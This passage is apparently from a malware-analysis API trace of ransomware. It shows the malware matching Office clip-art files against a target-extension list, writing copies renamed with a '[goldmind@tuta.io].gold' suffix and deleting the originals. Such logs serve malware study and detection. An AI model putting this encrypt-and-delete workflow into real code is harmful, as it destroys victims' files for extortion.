(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.642] lstrlenW (lpString=".doc") returned 4 [0110.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.642] lstrlenW (lpString=".docx") returned 5 [0110.642] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0110.642] lstrlenW (lpString=".pdf") returned 4 [0110.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.642] lstrlenW (lpString=".xls") returned 4 [0110.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.642] lstrlenW (lpString=".xlsx") returned 5 [0110.642] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0110.642] lstrlenW (lpString=".ppt") returned 4 [0110.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.642] lstrlenW (lpString=".zip") returned 4 [0110.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.642] lstrlenW (lpString=".rar") returned 4 [0110.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.642] lstrlenW (lpString=".bz2") returned 4 [0110.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.642] lstrlenW (lpString=".7z") returned 3 [0110.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.642] lstrlenW (lpString=".dbf") returned 4 [0110.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.642] lstrlenW (lpString=".1cd") returned 4 [0110.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.642] lstrlenW (lpString=".jpg") returned 4 [0110.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.642] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.642] lstrlenW (lpString="J0153302.WMF") returned 12 [0110.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.754] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=30800) returned 1 [0110.754] CloseHandle (hObject=0x3b4) returned 1 [0110.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 0x20 [0110.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.803] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.803] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0110.804] GetLastError () returned 0x0 [0110.804] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7850, lpOverlapped=0x0) returned 1 [0110.812] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7860, lpOverlapped=0x0) returned 1 [0110.813] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.813] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.814] SetEndOfFile (hFile=0x3bc) returned 1 [0110.814] CloseHandle (hObject=0x3bc) returned 1 [0110.814] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.814] SetEndOfFile (hFile=0x3b8) returned 1 [0110.816] CloseHandle (hObject=0x3b8) returned 1 [0110.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf")) returned 1 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString=".doc") returned 4 [0110.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString=".docx") returned 5 [0110.926] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.926] lstrlenW (lpString=".pdf") returned 4 [0110.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString=".xls") returned 4 [0110.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.926] lstrlenW (lpString=".xlsx") returned 5 [0110.926] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.926] lstrlenW (lpString=".ppt") returned 4 [0110.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString=".zip") returned 4 [0110.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.926] lstrlenW (lpString=".rar") returned 4 [0110.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString=".bz2") returned 4 [0110.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString=".7z") returned 3 [0110.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString=".dbf") returned 4 [0110.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString=".1cd") returned 4 [0110.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString=".jpg") returned 4 [0110.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString=".doc") returned 4 [0110.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString=".docx") returned 5 [0110.926] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.926] lstrlenW (lpString=".pdf") returned 4 [0110.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString=".xls") returned 4 [0110.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.926] lstrlenW (lpString=".xlsx") returned 5 [0110.926] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.926] lstrlenW (lpString=".ppt") returned 4 [0110.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.926] lstrlenW (lpString=".zip") returned 4 [0110.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.926] lstrlenW (lpString=".rar") returned 4 [0110.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString=".bz2") returned 4 [0110.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.926] lstrlenW (lpString=".7z") returned 3 [0110.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.927] lstrlenW (lpString=".dbf") returned 4 [0110.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.927] lstrlenW (lpString=".1cd") returned 4 [0110.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF") returned 63 [0110.927] lstrlenW (lpString=".jpg") returned 4 [0110.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.927] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.927] lstrlenW (lpString="J0153514.WMF") returned 12 [0110.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.930] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=12752) returned 1 [0110.930] CloseHandle (hObject=0x3b8) returned 1 [0110.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 0x20 [0110.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.931] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.931] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0110.931] GetLastError () returned 0x0 [0110.931] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x31d0, lpOverlapped=0x0) returned 1 [0110.933] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x31e0, lpOverlapped=0x0) returned 1 [0110.934] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.934] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.934] SetEndOfFile (hFile=0x3bc) returned 1 [0110.934] CloseHandle (hObject=0x3bc) returned 1 [0110.934] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.934] SetEndOfFile (hFile=0x3b8) returned 1 [0110.937] CloseHandle (hObject=0x3b8) returned 1 [0110.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 1 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.939] lstrlenW (lpString=".doc") returned 4 [0110.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString=".docx") returned 5 [0110.939] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0110.939] lstrlenW (lpString=".pdf") returned 4 [0110.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString=".xls") returned 4 [0110.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.939] lstrlenW (lpString=".xlsx") returned 5 [0110.939] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0110.939] lstrlenW (lpString=".ppt") returned 4 [0110.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.939] lstrlenW (lpString=".zip") returned 4 [0110.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.939] lstrlenW (lpString=".rar") returned 4 [0110.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString=".bz2") returned 4 [0110.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString=".7z") returned 3 [0110.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.939] lstrlenW (lpString=".dbf") returned 4 [0110.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.939] lstrlenW (lpString=".1cd") returned 4 [0110.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.939] lstrlenW (lpString=".jpg") returned 4 [0110.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.939] lstrlenW (lpString=".doc") returned 4 [0110.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString=".docx") returned 5 [0110.939] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0110.939] lstrlenW (lpString=".pdf") returned 4 [0110.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString=".xls") returned 4 [0110.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.939] lstrlenW (lpString=".xlsx") returned 5 [0110.939] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0110.939] lstrlenW (lpString=".ppt") returned 4 [0110.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.940] lstrlenW (lpString=".zip") returned 4 [0110.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.940] lstrlenW (lpString=".rar") returned 4 [0110.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.940] lstrlenW (lpString=".bz2") returned 4 [0110.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.940] lstrlenW (lpString=".7z") returned 3 [0110.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.940] lstrlenW (lpString=".dbf") returned 4 [0110.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.940] lstrlenW (lpString=".1cd") returned 4 [0110.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0110.940] lstrlenW (lpString=".jpg") returned 4 [0110.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.940] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.940] lstrlenW (lpString="J0153516.WMF") returned 12 [0110.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.941] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=7432) returned 1 [0110.941] CloseHandle (hObject=0x3b8) returned 1 [0110.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 0x20 [0110.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0110.941] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.941] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0110.942] GetLastError () returned 0x0 [0110.942] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1d08, lpOverlapped=0x0) returned 1 [0110.943] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1d10, lpOverlapped=0x0) returned 1 [0110.944] ReadFile (in: hFile=0x3b8, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.944] WriteFile (in: hFile=0x3bc, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.944] SetEndOfFile (hFile=0x3bc) returned 1 [0110.944] CloseHandle (hObject=0x3bc) returned 1 [0110.944] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.944] SetEndOfFile (hFile=0x3b8) returned 1 [0110.946] CloseHandle (hObject=0x3b8) returned 1 [0110.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 1 [0110.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.947] lstrlenW (lpString=".doc") returned 4 [0110.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.947] lstrlenW (lpString=".docx") returned 5 [0110.947] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0110.947] lstrlenW (lpString=".pdf") returned 4 [0110.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.947] lstrlenW (lpString=".xls") returned 4 [0110.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.947] lstrlenW (lpString=".xlsx") returned 5 [0110.947] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0110.947] lstrlenW (lpString=".ppt") returned 4 [0110.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.947] lstrlenW (lpString=".zip") returned 4 [0110.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.947] lstrlenW (lpString=".rar") returned 4 [0110.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.947] lstrlenW (lpString=".bz2") returned 4 [0110.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.947] lstrlenW (lpString=".7z") returned 3 [0110.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.947] lstrlenW (lpString=".dbf") returned 4 [0110.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.947] lstrlenW (lpString=".1cd") returned 4 [0110.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.947] lstrlenW (lpString=".jpg") returned 4 [0110.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0110.948] lstrlenW (lpString=".doc") returned 4 [0110.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.948] lstrlenW (lpString=".docx") returned 5 [0110.948] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0110.948] lstrlenW (lpString=".pdf") returned 4 [0110.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.948] lstrlenW (lpString=".xls") returned 4 [0110.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.948] lstrlenW (lpString=".xlsx") returned 5 [0110.948] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0110.948] lstrlenW (lpString=".ppt") returned 4 